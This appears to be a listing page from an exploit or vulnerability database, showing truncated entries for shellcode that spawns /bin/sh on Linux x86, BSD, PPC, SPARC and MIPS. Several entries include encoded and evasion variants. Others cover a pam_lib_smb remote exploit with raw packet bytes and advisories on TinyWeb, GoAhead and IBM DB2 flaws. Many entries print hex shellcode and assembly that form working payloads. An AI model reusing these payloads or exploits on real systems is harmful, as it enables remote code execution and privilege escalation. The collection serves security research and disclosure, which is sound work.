bsd/x86 execve /bin/sh multiplatform 27 bytes

No description provided by source. / execvesh.c by n0gada 27 bytes. / include stdio.h char shellcode= "\xeb\x0d\x5f\x31\xc0\x50\x89\xe2" "\x52\x57\x54\xb0\x3b\xcd\x80\xe8" "\xee\xff\xff\xff/bin/sh"; int mainvoid int ret; printf"%d\n",strlenshellcode; ret = int &ret+2; ret = intshellcode; return 0...

linux/x86 symlink . /bin/sh 32 bytes

Exploit for linux/x86 platform in category shellcode ==================================== linux/x86 symlink . /bin/sh 32 bytes ==================================== /The shellcode calls the symlink and makes the link to the /bin/sh in the current dir. short version size = 32 bytes OS = BSD written...

linux/x86 execve /bin/sh setreuid(12 12) 50 bytes

No description provided by source. / Linux/x86 An example of setregid, execve /bin/sh I used this in practise, hence the setregid12, 12; / include stdio.h char c0de = / main: / / setregid12, 12; / "\x29\xc0" / subl %eax, %eax / "\xb0\x47" / movb $71, %al / "\x29\xdb" / subl %ebx, %ebx / / Here's...

linux/x86 unix/SPARC irix/mips execve /bin/sh irx.mips 141 bytes

No description provided by source. / Shellcode ejecuta execve /bin/sh en Irix/mips, Linux/x86, Unix/sparc by dymitr1 [email protected] / include stdio.h char code= "\x37\x37\xeb\x2f\x30\x80\x00\x12\x04\x10\xff\xff\x24\x02\x03\xf3\x23\xff\x02\x14\x23\xe4\xfe\x08"...

linux/x86 execve /bin/sh 24 bytes

Exploit for linux/x86 platform in category shellcode ================================= linux/x86 execve /bin/sh 24 bytes ================================= / email protected execve/bin/sh. 24 bytes. es lo mas chica que se puede hacer. / char shellcode= "\x31\xc0" // xorl %eax,%eax "\x50" // pushl...

linux/x86 execve /bin/sh 29 bytes

Exploit for linux/x86 platform in category shellcode ================================= linux/x86 execve /bin/sh 29 bytes ================================= / c1999-2003 Shellcode Research http://www.shellcode.com.ar execve/bin/sh for linux x86 29 bytes by Matias Sedalo xorl %ebx, %ebx pushl %ebx...

linux/x86 unix/SPARC irix/mips execve /bin/sh irx.mips 141 bytes

Exploit for multiple platform in category shellcode ================================================================ linux/x86 unix/SPARC irix/mips execve /bin/sh irx.mips 141 bytes ================================================================ / Shellcode ejecuta execve /bin/sh en Irix/mips,...

linux/x86 execve /bin/sh xor encrypted 55 bytes

No description provided by source. / .file "xor-encrypted shellcode" .version "1.0" .text .align 4 .globl main .type main,@function start: xorl %eax,%eax jmp 0x22 popl %ebx movl 8%ebx,%edx xor %edx,%ebx xor %edx,4%ebx xor %edx,%edx movl %ebx,0x8%esp movl %edx,0xc%esp movb $0xb,%al leal 0x8%esp,%e...

linux/ppc execve /bin/sh 112 bytes

Exploit for linux/ppc platform in category shellcode ================================== linux/ppc execve /bin/sh 112 bytes ================================== / Linux PPC shellcode execve of /bin/sh by Palante / long shellcode = / Palante's linuxPPC shellcode w/ NULL/ 0x7CC63278, 0x2F867FFF,...

linux/x86 execve /bin/sh tolower() evasion 41 bytes

Exploit for linux/x86 platform in category shellcode =================================================== linux/x86 execve /bin/sh tolower evasion 41 bytes =================================================== / Linux/x86 tolower evasion, execve /bin/sh eg use: various qpop exploits / include char...

CVE-2002-1158

Buffer overflow in the irwthrough function for Canna 3.5b2 and earlier allows local users to execute arbitrary code as the bin user...

Solaris 8 (sparc) : 111874-09

SunOS 5.8: usr/bin/mail patch. Date this patch was last updated by Sun : Jan/18/08 %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The descriptive text in this plugin was extracted from the Oracle SunOS Patch Updates. include'deprecatednasllevel.inc'; include'compat.inc'; if description...

[NT] TinyWeb Script Disclosure Vulnerability

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion The SecuriTeam alerts list - Free, Accurate, Independent. Get your security news from a reliable source...

TinyWeb Executable code leak

By using /./ it's possible to access file from /cgi-bin...

Rit Research Labs TinyWeb 1.9.2 - Unauthorized Script Disclosure

Rit Research Labs TinyWeb 1.9.2 - Unauthorized Script Disclosure source: https://www.securityfocus.com/bid/10445/info TinyWeb Server is affected by an unauthorized script disclosure vulnerability. This issue is due to an input validation error that allows malicious users to bypass standard web...

GoAhead script source leak

It's possible to obtain content of .asp or cgi-bin file by adding special characters to filename...

CVE-2003-1510

TinyWeb 1.9 allows remote attackers to cause a denial of service CPU consumption via a ".%00." in an HTTP GET request to the cgi-bin directory...

[Full-Disclosure] Fun with /bin/ls, yet still ls better than windows

Georgi Guninski security advisory 62, 2003 Fun with /bin/ls, yet still ls better than windows Systems affected: coreutils - /bin/ls, wu-ftpd DoS Fixed in CVS Risk: Low Date: 22 October 2003 Legal Notice: This Advisory is Copyright c 2003 Georgi Guninski. You may distribute it unmodified. You may...

Linux pam_lib_smb < 1.1.6 /bin/login Remote Exploit

Exploit for linux platform in category remote exploits =================================================== Linux pamlibsmb include include include include include include include include include / first negotiate / / packet capture by ethereal / char packet1 = 0xff, 0xfd, 0x03, 0xff, 0xfb, 0x18,...

Slight privilege elevation from bin to root in IBM DB2 7.1 - 8.1 all binaries

Title: Local Vulnerability in IBM DB2 7.1 - 8.1 all binaries Date: 27-07-2003 Platform: Only tested in Linux but can be exported to others. Only versions 7.1 and Enterprise Server Edition v8.1 were checked but could affect other versions. Impact: Slight privilege elevation from bin to root. Autho...